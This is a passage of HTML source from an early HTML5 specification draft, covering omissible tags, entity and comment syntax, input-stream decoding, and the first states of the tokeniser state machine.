href="#dd0">dd</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#dd0">dd</a></code> element is immediately followed by another   <code><a href="#dd0">dd</a></code> element or a <code><a   href="#dt0">dt</a></code> element, or if there is no more content in the   parent element.</p>  <!-- </p> -->  <p>A <code><a href="#p0">p</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#p0">p</a></code> element is immediately followed by an <code><a   href="#address0">address</a></code>, <code><a   href="#blockquote0">blockquote</a></code>, <code><a   href="#dl0">dl</a></code>, <code>fieldset</code>, <code>form</code>,   <code><a href="#h10">h1</a></code>, <code><a href="#h20">h2</a></code>,   <code><a href="#h30">h3</a></code>, <code><a href="#h40">h4</a></code>,   <code><a href="#h50">h5</a></code>, <code><a href="#h60">h6</a></code>,   <code><a href="#hr0">hr</a></code>, <code><a   href="#menu0">menu</a></code>, <code><a href="#ol0">ol</a></code>,   <code><a href="#p0">p</a></code>, <code><a href="#pre0">pre</a></code>,   <code><a href="#table0">table</a></code>, or <code><a   href="#ul0">ul</a></code> element, or if there is no more content in the   parent element.</p>  <!-- </optgroup> -->  <p>An <code>optgroup</code> element's <span title=syntax-end-tag>end   tag</span> may be omitted if the <code>optgroup</code> element is   immediately followed by another <code>optgroup</code> element, or if there   is no more content in the parent element.</p>  <!-- </option> -->  <p>An <code>option</code> element's <span title=syntax-end-tag>end   tag</span> may be omitted if the <code>option</code> element is   immediately followed by another <code>option</code> element, or if there   is no more content in the parent element.</p>  <!-- <colgroup> -->  <p>A <code><a href="#colgroup0">colgroup</a></code> element's <span   title=syntax-start-tag>start tag</span> may be omitted if the first thing   inside the <code><a href="#colgroup0">colgroup</a></code> element is a   <code><a href="#col0">col</a></code> element, and if the element is not   immediately preceeded by another <code><a   href="#colgroup0">colgroup</a></code> element whose <span   title=syntax-end-tag>end tag</span> has been omitted.</p>  <!-- </colgroup> -->  <p>A <code><a href="#colgroup0">colgroup</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#colgroup0">colgroup</a></code> element is not immediately followed   by a <a href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>.</p>  <!-- </thead> -->  <p>A <code><a href="#thead1">thead</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#thead1">thead</a></code> element is immediately followed by a   <code><a href="#tbody0">tbody</a></code> or <code><a   href="#tfoot1">tfoot</a></code> element.</p>  <!-- <tbody> -->  <p>A <code><a href="#tbody0">tbody</a></code> element's <span   title=syntax-start-tag>start tag</span> may be omitted if the first thing   inside the <code><a href="#tbody0">tbody</a></code> element is a <code><a   href="#tr0">tr</a></code> element, and if the element is not immediately   preceeded by a <code><a href="#tbody0">tbody</a></code>, <code><a   href="#thead1">thead</a></code>, or <code><a   href="#tfoot1">tfoot</a></code> element whose <span   title=syntax-end-tag>end tag</span> has been omitted.</p>  <!-- </tbody> -->  <p>A <code><a href="#tbody0">tbody</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#tbody0">tbody</a></code> element is immediately followed by a   <code><a href="#tbody0">tbody</a></code> or <code><a   href="#tfoot1">tfoot</a></code> element, or if there is no more content in   the parent element.</p>  <!-- </tfoot> -->  <p>A <code><a href="#tfoot1">tfoot</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#tfoot1">tfoot</a></code> element is immediately followed by a   <code><a href="#tbody0">tbody</a></code> element, or if there is no more   content in the parent element.</p>  <!-- </tr> -->  <p>A <code><a href="#tr0">tr</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#tr0">tr</a></code> element is immediately followed by another   <code><a href="#tr0">tr</a></code> element, or if there is no more content   in the parent element.</p>  <!-- </td> -->  <p>A <code><a href="#td0">td</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#td0">td</a></code> element is immediately followed by a <code><a   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element,   or if there is no more content in the parent element.</p>  <!-- </th> -->  <p>A <code><a href="#th0">th</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#th0">th</a></code> element is immediately followed by a <code><a   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element,   or if there is no more content in the parent element.  <p><strong>However</strong>, a <span title=syntax-start-tag>start   tag</span> must never be omitted if it has any attributes.  <h5 id=restrictions><span class=secno>8.1.2.5. </span>Restrictions on   content models</h5>  <p>For historical reasons, certain elements <dfn id=have-extra   title=syntax-element-restrictions>have extra restrictions</dfn> beyond   even the restrictions given by their content model.  <p>A <code><a href="#p0">p</a></code> element must not contain <code><a   href="#blockquote0">blockquote</a></code>, <code><a   href="#dl0">dl</a></code>, <code><a href="#menu0">menu</a></code>,   <code><a href="#ol0">ol</a></code>, <code><a href="#pre0">pre</a></code>,   <code><a href="#table0">table</a></code>, or <code><a   href="#ul0">ul</a></code> elements, even though these elements are   technically allowed inside <code><a href="#p0">p</a></code> elements   according to the content models described in this specification. (In fact,   if one of those elements is put inside a <code><a href="#p0">p</a></code>   element in the markup, it will instead imply a <code><a   href="#p0">p</a></code> element end tag before it.)  <p>An <code>optgroup</code> element must not contain <code>optgroup</code>   elements, even though these elements are technically allowed to be nested   according to the content models described in this specification. (If an   <code>optgroup</code> element is put inside another in the markup, it will   in fact imply an <code>optgroup</code> end tag before it.)  <p>A <code><a href="#table0">table</a></code> element must not contain   <code><a href="#tr0">tr</a></code> elements, even though these elements   are technically allowed inside <code><a href="#table0">table</a></code>   elements according to the content models described in this specification.   (If a <code><a href="#tr0">tr</a></code> element is put inside a <code><a   href="#table0">table</a></code> in the markup, it will in fact imply a   <code><a href="#tbody0">tbody</a></code> start tag before it.)  <h4 id=text><span class=secno>8.1.3. </span>Text</h4>  <p><dfn id=text1 title=syntax-text>Text</dfn> is allowed inside elements,   attributes, and comments. Text must consist of valid Unicode characters   other than U+0000. Text should not contain control characters other than   <a href="#space" title="space character">space characters</a>. Extra   constraints are placed on what is and what is not allowed in text based on   where the text is to be put, as described in the other sections.  <h5 id=newlines><span class=secno>8.1.3.1. </span>Newlines</h5>  <p><dfn id=newlines0 title=syntax-newlines>Newlines</dfn> in HTML may be   represented either as U+000D CARRIAGE RETURN (CR) characters, U+000A LINE   FEED (LF) characters, or pairs of U+000D CARRIAGE RETURN (CR), U+000A LINE   FEED (LF) characters in that order.  <h4 id=character><span class=secno>8.1.4. </span>Character entity   references</h4>  <p>In certain cases described in other sections, <a href="#text1"   title=syntax-text>text</a> may be mixed with <dfn id=character0   title=syntax-entities>character entity references</dfn>. These can be used   to escape characters that couldn't otherwise legally be included in <a   href="#text1" title=syntax-text>text</a>.  <p>Character entity references must start with a U+0026 AMPERSAND   (<code>AMPERSANDamp;</code>). Following this, there are three possible kinds of   character entity references:  <dl>   <dt>Named entities   <dd>The ampersand must be followed by one of the names given in the <a    href="#entities1">entities</a> section, using the same case. Finally,    after the name, the entity must be terminated by a U+003B SEMICOLON    character (<code>;</code>).   <dt>Decimal numeric entities   <dd>The ampersand must be followed by a U+0023 NUMBER SIGN    (<code>#</code>) character, followed by one or more digits in the range    U+0030 DIGIT ZERO .. U+0039 DIGIT NINE, representing a base-ten integer    that itself is a valid Unicode code point that isn't U+0000. The digits    must then be followed by a U+003B SEMICOLON character (<code>;</code>).   <dt>Hexadecimal numeric entities   <dd>The ampersand must be followed by a U+0023 NUMBER SIGN    (<code>#</code>) character, which must be followed by either a U+0078    LATIN SMALL LETTER X or a U+0058 LATIN CAPITAL LETTER X character, which    must then be followed by one or more digits in the range U+0030 DIGIT    ZERO .. U+0039 DIGIT NINE, U+0061 LATIN SMALL LETTER A .. U+0066 LATIN    SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER A .. U+0046 LATIN CAPITAL    LETTER F, representing a base-sixteen integer that itself is a valid    Unicode code point that isn't U+0000. The digits must then be followed by    a U+003B SEMICOLON character (<code>;</code>).  </dl>  <h4 id=comments><span class=secno>8.1.5. </span>Comments</h4>  <p><dfn id=comments0 title=syntax-comments>Comments</dfn> must start with   the four character sequence U+003C LESS-THAN SIGN, U+0021 EXCLAMATION   MARK, U+002D HYPHEN-MINUS, U+002D HYPHEN-MINUS (<code>AMPERSANDlt;!--</code>).   Following this sequence, the comment may have <a href="#text1"   title=syntax-text>text</a>, with the additional restriction that the text   must not contain two consecutive U+002D HYPHEN-MINUS (<code>-</code>)   characters, nor end with a U+002D HYPHEN-MINUS (<code>-</code>) character.   Finally, the comment must be ended by the three character sequence U+002D   HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN   (<code>--AMPERSANDgt;</code>).  <h3 id=parsing><span class=secno>8.2. </span>Parsing HTML documents</h3>  <p><em>This section only applies to user agents, data mining tools, and   conformance checkers.</em>  <p>The rules for parsing <a href="#xml-documents">XML documents</a> (and   thus <a href="#xhtml5">XHTML</a> documents) into DOM trees are covered by   the XML and Namespaces in XML specifications, and are out of scope of this   specification. <a href="#refs"></a> <!-- XXX refs -->  <p>For <a href="#html-">HTML documents</a>, user agents must use the   parsing rules described in this section to generate the DOM trees.   Together, these rules define what is referred to as the <dfn   id=html-0>HTML parser</dfn>.</p>  <!-- XXX should probably remove that "must" since  it'll be redundant with something in the navigating processing model  eventually -->  <div class=note>   <p>While the HTML form of HTML5 bears a close resemblance to SGML and XML,    it is a separate language with its own parsing rules.</p>   <p>Some earlier versions of HTML (in particular from HTML2 to HTML4) were    based on SGML and used SGML parsing rules. However, few (if any) web    browsers ever implemented true SGML parsing for HTML documents; the only    user agents to strictly handle HTML as an SGML application have    historically been validators. The resulting confusion AMPERSANDmdash; with    validators claiming documents to have one representation while widely    deployed Web browsers interoperably implemented a different    representation AMPERSANDmdash; has resulted in this version of HTML returning to    a non-SGML basis.</p>   <p>Authors interested in using SGML tools in their authoring pipeline are    encouraged to use the XML serialisation of HTML5 instead of the HTML    serialisation.</p>  </div>  <p>This specification defines the parsing rules for HTML documents, whether   they are syntactically valid or not. Certain points in the parsing   algorithm are said to be <dfn id=parse title="parse error">parse   errors</dfn>. The error handling for parse errors is well-defined: user   agents must either act as described below when encountering such problems,   or must abort processing at the first error that they encounter for which   they do not wish to apply the rules described below.  <p>Conformance checkers must report at least one parse error condition to   the user if one or more parse error conditions exist in the document and   must not report parse error conditions if none exist in the document.   Conformance checkers may report more than one parse error condition if   more than one parse error conditions exist in the document. Conformance   checkers are not required to recover from parse errors.  <p class=note>Parse errors are only errors with the <em>syntax</em> of   HTML. In addition to checking for parse errors, conformance checkers will   also verify that the document obeys all the other conformance requirements   described in this specification.  <h4 id=overview><span class=secno>8.2.1. </span>Overview of the parsing   model</h4>  <p>The input to the HTML parsing process consists of a stream of Unicode   characters, which is passed through a <a   href="#tokenisation1">tokenisation</a> stage (lexical analysis) followed   by a <a href="#tree-construction1">tree construction</a> stage (semantic   analysis). The output is a <code>Document</code> object.  <p class=note>Implementations that <a href="#non-scripted">do not support   scripting</a> do not have to actually create a DOM <code>Document</code>   object, but the DOM tree in such cases is still used as the model for the   rest of the specification.  <p>In the common case, the data handled by the tokenisation stage comes   from the network, but <a href="#dynamic3" title="dynamic markup   insertion">it can also come from script</a>, e.g. using the <code   title=dom-document-write-HTML><a   href="#document.write0">document.write()</a></code> API.  <p><img alt="" src=parsing-model-overview.png>  <p id=nestedParsing>There is only one set of state for the tokeniser stage   and the tree construction stage, but the tree construction stage is   reentrant, meaning that while the tree construction stage is handling one   token, the tokeniser might be resumed, causing further tokens to be   emitted and processed before the first token's processing is complete.  <div class=example>   <p>In the following example, the tree construction stage will be called    upon to handle a "p" start tag token while handling the "script" start    tag token:</p>   <pre>...AMPERSANDlt;script> document.write('AMPERSANDlt;p>');AMPERSANDlt;/script>...</pre>  </div>  <h4 id=the-input0><span class=secno>8.2.2. </span>The <dfn id=input0>input   stream</dfn></h4>  <p>The stream of Unicode characters that consists the input to the   tokenisation stage will be initially seen by the user agent as a stream of   bytes (typically coming over the network or from the local file system).   The bytes encode the actual characters according to a particular   <em>character encoding</em>, which the user agent must use to decode the   bytes into characters.  <p id=documentEncoding>For HTML, user agents must use the following   algorithm in determining the character encoding of a document:  <ol>   <li>If the transport layer specifies an encoding, use that.   <li>Otherwise, if the user agent can find a <code><a    href="#meta1">meta</a></code> element that <a href="#charset">specifies    character encoding information</a>, then use that. (The exact parsing    rules for finding and using this information are not yet described in    this specification.) <span class=big-issue>This needs to be fleshed out a    whole heck of a lot more.</span></li>   <!-- XXX -->   <li>Otherwise, the user agent may attempt to autodetect the character    encoding from applying frequency analysis or other algorithms to the data    stream. If autodetection succeeds in determining a character encoding,    then use that.</li>   <!-- is it a   parse error to reach this step? XXX -->   <li>Otherwise, use an implementation-defined or user-specified default    character encoding (<code>ISO-8859-1</code>, <code>windows-1252</code>,    and <code>UTF-8</code> are recommended as defaults, and can in many cases    be identified by inspection as they have different ranges of valid    bytes).</li>   <!-- only default   to win1252? XXX -->  </ol>  <p class=note>For XML documents, the algorithm user agents must use to   determine the character encoding is given by the XML specification. This   section does not apply to XML documents. <a href="#refsXML">[XML]</a>  <p>Bytes or sequences of bytes in the original byte stream that could not   be converted to Unicode characters must be converted to U+FFFD REPLACEMENT   CHARACTER code points.  <p>A leading U+FEFF BYTE ORDER MARK (BOM) must be dropped if present.  <p>All U+0000 NULL characters in the input must be replaced by U+FFFD   REPLACEMENT CHARACTERs.  <p>U+000D CARRIAGE RETURN (CR) characters, and U+000A LINE FEED (LF)   characters, are treated specially. Any CR characters that are followed by   LF characters must be removed, and any CR characters not followed by LF   characters must be converted to LF characters. Thus, newlines in HTML DOMs   are represented by LF characters, and there are never any CR characters in   the input to the <a href="#tokenisation1">tokenisation</a> stage.  <p>The <dfn id=next-input>next input character</dfn> is the first character   in the input stream that has not yet been <dfn id=consumed>consumed</dfn>.   Initially, the <em><a href="#next-input">next input character</a></em> is   the first character in the input.  <p>The <dfn id=insertion>insertion point</dfn> is the position (just before   a character or just before the end of the input stream) where content   inserted using <code title=dom-document-write-HTML><a   href="#document.write0">document.write()</a></code> is actually inserted.   The insertion point is relative to the position of the character   immediately after it, it is not an absolute offset into the input stream.   Initially, the insertion point is uninitialised.  <p>The "EOF" character in the tables below is a conceptual character   representing the end of the <a href="#input0">input stream</a>. If the   parser is a <a href="#script-created">script-created parser</a>, then the   end of the <a href="#input0">input stream</a> is reached when an <dfn   id=explicit>explicit "EOF" character</dfn> (inserted by the <code   title=dom-document-close><a href="#close">document.close()</a></code>   method) is consumed. Otherwise, the "EOF" charecter is not a real   character in the stream, but rather the lack of any further characters.  <h4 id=tokenisation><span class=secno>8.2.3. </span><dfn   id=tokenisation1>Tokenisation</dfn></h4>  <p>Implementations must act as if they used the following state machine to   tokenise HTML. The state machine must start in the <a   href="#data-state">data state</a>. Most states consume a single character,   which may have various side-effects, and either switches the state machine   to a new state to <em>reconsume</em> the same character, or switches it to   a new state (to consume the next character), or repeats the same state (to   consume the next character). Some states have more complicated behaviour   and can consume several characters before switching to another state.  <p>The exact behaviour of certain states depends on a <dfn   id=content2>content model flag</dfn> that is set after certain tokens are   emitted. The flag has several states: <em title="">PCDATA</em>, <em   title="">RCDATA</em>, <em title="">CDATA</em>, and <em   title="">PLAINTEXT</em>. Initially it is in the PCDATA state.  <p>The output of the tokenisation step is a series of zero or more of the   following tokens: DOCTYPE, start tag, end tag, comment, character,   end-of-file. DOCTYPE tokens have names and can be either correct or in   error. Start and end tag tokens have a tagname and a list of attributes,   each of which has a name and a value. Comment and character tokens have   data.  <p>When a token is emitted, it must immediately be handled by the <a   href="#tree-construction1">tree construction</a> stage. The tree   construction stage can affect the state of the <a href="#content2">content   model flag</a>, and can insert additional characters into the stream. (For   example, the <code><a href="#script2">script</a></code> element can result   in scripts executing and using the <a href="#dynamic3">dynamic markup   insertion</a> APIs to insert characters into the stream being tokenised.)  <p>Before each step of the tokeniser, the user agent must check to see if   any scripts are ready. <span class=big-issue>...</span></p>  <!--                        <p>While there are any entries in the <span>list of scripts that                        will execute as soon as possible</span>, follow these steps:</p>                        <ol>                         <li>Wait until the script associated with the first element in                         that list has finished loading.</li>                         <li><span title="how to execute a script block">Execute the                         script</span> associated with the first element in the list.</li>                         <li></li>                        </ol>                    -->  <dl>   <dt><dfn id=data-state>Data state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0026 AMPERSAND (AMPERSANDamp;)     <dd>When the <a href="#content2">content model flag</a> is set to one of      the PCDATA or RCDATA states: switch to the <a href="#entity">entity      data state</a>.     <dd>Otherwise: treat it as per the "anything else" entry below.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dd>When the <a href="#content2">content model flag</a> is set to a      state other than the PLAINTEXT state: switch to the <a      href="#tag-open">tag open state</a>.     <dd>Otherwise: treat it as per the "anything else" entry below.     <dt>EOF     <dd>Emit an end-of-file token.     <dt>Anything else     <dd>Emit the input character as a character token. Stay in the <a      href="#data-state">data state</a>.    </dl>   <dt><dfn id=entity>Entity data state</dfn>   <dd>    <p><em>(This cannot happen if the <a href="#content2">content model     flag</a> is set to the CDATA state.)</em></p>    <p>Attempt to <a href="#consume">consume an entity</a>.</p>    <p>If nothing is returned, emit a U+0026 AMPERSAND character token.</p>    <p>Otherwise, emit the character token that was returned.</p>    <p>Finally, switch to the <a href="#data-state">data state</a>.</p>   <dt><dfn id=tag-open>Tag open state</dfn>   <dd>    <p>The behaviour of this state depends on the <a href="#content2">content     model flag</a>.</p>    <dl>     <dt>If the <a href="#content2">content model flag</a> is set to the      RCDATA or CDATA states     <dd>      <p>If the <a href="#next-input">next input character</a> is a U+002F       SOLIDUS (/) character, consume it and switch to the <a       href="#close1">close tag open state</a>. If the <a       href="#next-input">next input character</a> is not a U+002F SOLIDUS       (/) character, emit a U+003C LESS-THAN SIGN character token and       reconsume the current input character in the <a       href="#data-state">data state</a>.</p>     <dt>If the <a href="#content2">content model flag</a> is set to the      PCDATA state     <dd>      <p>Consume the <a href="#next-input">next input character</a>:</p>      <dl class=switch>       <dt>U+0021 EXCLAMATION MARK (!)       <dd>Switch to the <a href="#markup">markup declaration open state</a>.       <dt>U+002F SOLIDUS (/)       <dd>Switch to the <a href="#close1">close tag open state</a>.       <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL        LETTER Z       <dd>Create a new start tag token, set its tag name to the lowercase        version of the input character (add 0x0020 to the character's code        point), then switch to the <a href="#tag-name0">tag name state</a>.        (Don't emit the token yet; further details will be filled in before        it is emitted.)       <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z       <dd>Create a new start tag token, set its tag name to the input        character, then switch to the <a href="#tag-name0">tag name        state</a>. (Don't emit the token yet; further details will be filled        in before it is emitted.)       <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)       <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN        character token and a U+003E GREATER-THAN SIGN character token.        Switch to the <a href="#data-state">data state</a>.       <dt>U+003F QUESTION MARK (?)       <dd><a href="#parse">Parse error</a>. Switch to the <a        href="#bogus">bogus comment state</a>.       <dt>Anything else       <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN        character token and reconsume the current input character in the <a        href="#data-state">data state</a>.      </dl>    </dl>   <dt><dfn id=close1>Close tag open state</dfn>   <dd>    <p>If the <a href="#content2">content model flag</a> is set to the RCDATA     or CDATA states then examine the next few characters. If they do not     match the tag name of the last start tag token emitted (case     insensitively), or if they do but they are not immediately followed by     one of the following characters:</p>    <ul class=brief>     <li>U+0009 CHARACTER TABULATION     <li>U+000A LINE FEED (LF)     <li>U+000B LINE TABULATION     <li>U+000C FORM FEED (FF)</li>     <!--<li>U+000D CARRIAGE RETURN (CR)</li>-->     <li>U+0020 SPACE     <li>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <li>U+002F SOLIDUS (/)     <li>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <li>EOF    </ul>    <p>...then there is a <a href="#parse">parse error</a>. Emit a U+003C     LESS-THAN SIGN character token, a U+002F SOLIDUS character token, and     reconsume the current input character in the <a href="#data-state">data     state</a>.</p>    <p>Otherwise, if the <a href="#content2">content model flag</a> is set to     the PCDATA state, or if the next few characters <em>do</em> match that     tag name, consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER      Z     <dd>Create a new end tag token, set its tag name to the lowercase      version of the input character (add 0x0020 to the character's code      point), then switch to the <a href="#tag-name0">tag name state</a>.      (Don't emit the token yet; further details will be filled in before it      is emitted.)     <dt>U+0061 LATIN SMALL LETTER A through to U+007A LATIN SMALL LETTER Z     <dd>Create a new end tag token, set its tag name to the input character,      then switch to the <a href="#tag-name0">tag name state</a>. (Don't emit      the token yet; further details will be filled in before it is emitted.)     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd><a href="#parse">Parse error</a>. Switch to the <a      href="#data-state">data state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit a U+003C LESS-THAN SIGN      character token and a U+002F SOLIDUS character token. Reconsume the EOF      character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd><a href="#parse">Parse error</a>. Switch to the <a      href="#bogus">bogus comment state</a>.    </dl>   <dt><dfn id=tag-name0>Tag name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Switch to the <a href="#before">before attribute name state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER      Z     <dd>Append the lowercase version of the current input character (add      0x0020 to the character's code point) to the current tag token's tag      name. Stay in the <a href="#tag-name0">tag name state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>U+002F SOLIDUS (/)     <dd><a href="#parse">Parse error</a> unless this is a <a      href="#permitted">permitted slash</a>. Switch to the <a      href="#before">before attribute name state</a>.     <dt>Anything else     <dd>Append the current input character to the current tag token's tag      name. Stay in the <a href="#tag-name0">tag name state</a>.    </dl>   <dt><dfn id=before>Before attribute name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Stay in the <a href="#before">before attribute name state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER      Z     <dd>Start a new attribute in the current tag token. Set that attribute's      name to the lowercase version of the current input character (add      0x0020 to the character's code point), and its value to the empty      string. Switch to the <a href="#attribute1">attribute name state</a>.     <dt>U+002F SOLIDUS (/)     <dd><a href="#parse">Parse error</a> unless this is a <a      href="#permitted">permitted slash</a>. Stay in the <a      href="#before">before attribute name state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Start a new attribute in the current tag token. Set that attribute's      name to the current input character, and its value to the empty string.      Switch to the <a href="#attribute1">attribute name state</a>.    </dl>   <dt><dfn id=attribute1>Attribute name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Switch to the <a href="#after">after attribute name state</a>.     <dt>U+003D EQUALS SIGN (=)     <dd>Switch to the <a href="#before0">before attribute value state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER      Z     <dd>Append the lowercase version of the current input character (add      0x0020 to the character's code point) to the current attribute's name.      Stay in the <a href="#attribute1">attribute name state</a>.     <dt>U+002F SOLIDUS (/)     <dd><a href="#parse">Parse error</a> unless this is a <a      href="#permitted">permitted slash</a>. Switch to the <a      href="#before">before attribute name state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Append the current input character to the current attribute's name.      Stay in the <a href="#attribute1">attribute name state</a>.    </dl>    <p>When the user agent leaves the attribute name state (and before     emitting the tag token, if appropriate), the complete attribute's name     must be compared to the other attributes on the same token; if there is     already an attribute on the token with the exact same name, then this is     a <a href="#parse">parse error</a> and the new attribute must be     dropped, along with the value that gets associated with it (if any).</p>   <dt><dfn id=after>After attribute name state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Stay in the <a href="#after">after attribute name state</a>.     <dt>U+003D EQUALS SIGN (=)     <dd>Switch to the <a href="#before0">before attribute value state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL LETTER      Z     <dd>Start a new attribute in the current tag token. Set that attribute's      name to the lowercase version of the current input character (add      0x0020 to the character's code point), and its value to the empty      string. Switch to the <a href="#attribute1">attribute name state</a>.     <dt>U+002F SOLIDUS (/)     <dd><a href="#parse">Parse error</a> unless this is a <a      href="#permitted">permitted slash</a>. Switch to the <a      href="#before">before attribute name state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Start a new attribute in the current tag token. Set that attribute's      name to the current input character, and its value to the empty string.      Switch to the <a href="#attribute1">attribute name state</a>.    </dl>   <dt><dfn id=before0>Before attribute value state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0009 CHARACTER TABULATION     <dt>U+000A LINE FEED (LF)     <dt>U+000B LINE TABULATION     <dt>U+000C FORM FEED (FF)</dt>     <!--<dt>U+000D CARRIAGE RETURN (CR)</dt>-->     <dt>U+0020 SPACE     <dd>Stay in the <a href="#before0">before attribute value state</a>.     <dt>U+0022 QUOTATION MARK (AMPERSANDquot;)     <dd>Switch to the <a href="#attribute2">attribute value (double-quoted)      state</a>.     <dt>U+0026 AMPERSAND (AMPERSANDamp;)     <dd>Switch to the <a href="#attribute4">attribute value (unquoted)      state</a> and reconsume this input character.     <dt>U+0027 APOSTROPHE (')     <dd>Switch to the <a href="#attribute3">attribute value (single-quoted)      state</a>.     <dt>U+003E GREATER-THAN SIGN (AMPERSANDgt;)     <dd>Emit the current tag token. Switch to the <a href="#data-state">data      state</a>.     <dt>U+003C LESS-THAN SIGN (AMPERSANDlt;)     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Append the current input character to the current attribute's value.      Switch to the <a href="#attribute4">attribute value (unquoted)      state</a>.    </dl>   <dt><dfn id=attribute2>Attribute value (double-quoted) state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0022 QUOTATION MARK (AMPERSANDquot;)     <dd>Switch to the <a href="#before">before attribute name state</a>.     <dt>U+0026 AMPERSAND (AMPERSANDamp;)     <dd>Switch to the <a href="#entity0">entity in attribute value      state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Append the current input character to the current attribute's value.      Stay in the <a href="#attribute2">attribute value (double-quoted)      state</a>.    </dl>   <dt><dfn id=attribute3>Attribute value (single-quoted) state</dfn>   <dd>    <p>Consume the <a href="#next-input">next input character</a>:</p>    <dl class=switch>     <dt>U+0027 APOSTROPHE (')     <dd>Switch to the <a href="#before">before attribute name state</a>.     <dt>U+0026 AMPERSAND (AMPERSANDamp;)     <dd>Switch to the <a href="#entity0">entity in attribute value      state</a>.     <dt>EOF     <dd><a href="#parse">Parse error</a>. Emit the current tag token.      Reconsume the character in the <a href="#data-state">data state</a>.     <dt>Anything else     <dd>Append the current input character to the current attribute's value.      Stay in the <a href="#attribute3">attribute value (single-quoted)      state</a>.    </dl>   <dt><dfn id=attribute4>Attribute value (unquoted) state</dfn>   <dd>    <p>Consume the <a 